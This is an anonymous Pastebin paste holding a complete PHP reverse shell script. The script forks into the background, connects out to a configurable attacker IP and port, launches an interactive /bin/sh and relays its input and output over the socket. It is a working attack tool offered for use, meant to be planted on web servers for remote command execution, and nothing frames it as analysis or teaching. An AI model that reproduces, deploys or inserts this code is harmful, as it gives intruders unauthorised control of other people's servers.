Advertisement
Guest User

Untitled

a guest
May 25th, 2018
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.46 KB | None | 0 0
  1. <?php
  2.  
  3. set_time_limit (0);
  4. $VERSION = "1.0";
  5. $ip = '127.0.0.1'; // CHANGE THIS
  6. $port = 1337; // CHANGE THIS
  7. $chunk_size = 1400;
  8. $write_a = null;
  9. $error_a = null;
  10. $shell = 'uname -a; w; id; /bin/sh -i';
  11. $daemon = 0;
  12. $debug = 0;
  13.  
  14. // pcntl_fork is hardly ever available, but will allow us to daemonise
  15. // our php process and avoid zombies. Worth a try...
  16. if (function_exists('pcntl_fork')) {
  17. // Fork and have the parent process exit
  18. $pid = pcntl_fork();
  19.  
  20. if ($pid == -1) {
  21. printit("ERROR: Can't fork");
  22. exit(1);
  23. }
  24.  
  25. if ($pid) {
  26. exit(0); // Parent exits
  27. }
  28.  
  29. // Make the current process a session leader
  30. // Will only succeed if we forked
  31. if (posix_setsid() == -1) {
  32. printit("Error: Can't setsid()");
  33. exit(1);
  34. }
  35.  
  36. $daemon = 1;
  37. } else {
  38. printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
  39. }
  40.  
  41. // Change to a safe directory
  42. chdir("/");
  43.  
  44. // Remove any umask we inherited
  45. umask(0);
  46.  
  47. //
  48. // Do the reverse shell...
  49. //
  50.  
  51. // Open reverse connection
  52. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  53. if (!$sock) {
  54. printit("$errstr ($errno)");
  55. exit(1);
  56. }
  57.  
  58. // Spawn shell process
  59. $descriptorspec = array(
  60. 0 => array("pipe", "r"), // stdin is a pipe that the child will read from
  61. 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
  62. 2 => array("pipe", "w") // stderr is a pipe that the child will write to
  63. );
  64.  
  65. $process = proc_open($shell, $descriptorspec, $pipes);
  66.  
  67. if (!is_resource($process)) {
  68. printit("ERROR: Can't spawn shell");
  69. exit(1);
  70. }
  71.  
  72. // Set everything to non-blocking
  73. // Reason: Occsionally reads will block, even though stream_select tells us they won't
  74. stream_set_blocking($pipes[0], 0);
  75. stream_set_blocking($pipes[1], 0);
  76. stream_set_blocking($pipes[2], 0);
  77. stream_set_blocking($sock, 0);
  78.  
  79. printit("Successfully opened reverse shell to $ip:$port");
  80.  
  81. while (1) {
  82. // Check for end of TCP connection
  83. if (feof($sock)) {
  84. printit("ERROR: Shell connection terminated");
  85. break;
  86. }
  87.  
  88. // Check for end of STDOUT
  89. if (feof($pipes[1])) {
  90. printit("ERROR: Shell process terminated");
  91. break;
  92. }
  93.  
  94. // Wait until a command is end down $sock, or some
  95. // command output is available on STDOUT or STDERR
  96. $read_a = array($sock, $pipes[1], $pipes[2]);
  97. $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  98.  
  99. // If we can read from the TCP socket, send
  100. // data to process's STDIN
  101. if (in_array($sock, $read_a)) {
  102. if ($debug) printit("SOCK READ");
  103. $input = fread($sock, $chunk_size);
  104. if ($debug) printit("SOCK: $input");
  105. fwrite($pipes[0], $input);
  106. }
  107.  
  108. // If we can read from the process's STDOUT
  109. // send data down tcp connection
  110. if (in_array($pipes[1], $read_a)) {
  111. if ($debug) printit("STDOUT READ");
  112. $input = fread($pipes[1], $chunk_size);
  113. if ($debug) printit("STDOUT: $input");
  114. fwrite($sock, $input);
  115. }
  116.  
  117. // If we can read from the process's STDERR
  118. // send data down tcp connection
  119. if (in_array($pipes[2], $read_a)) {
  120. if ($debug) printit("STDERR READ");
  121. $input = fread($pipes[2], $chunk_size);
  122. if ($debug) printit("STDERR: $input");
  123. fwrite($sock, $input);
  124. }
  125. }
  126.  
  127. fclose($sock);
  128. fclose($pipes[0]);
  129. fclose($pipes[1]);
  130. fclose($pipes[2]);
  131. proc_close($process);
  132.  
  133. // Like print, but does nothing if we've daemonised ourself
  134. // (I can't figure out how to redirect STDOUT like a proper daemon)
  135. function printit ($string) {
  136. if (!$daemon) {
  137. print "$string\n";
  138. }
  139. }
  140.  
  141. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement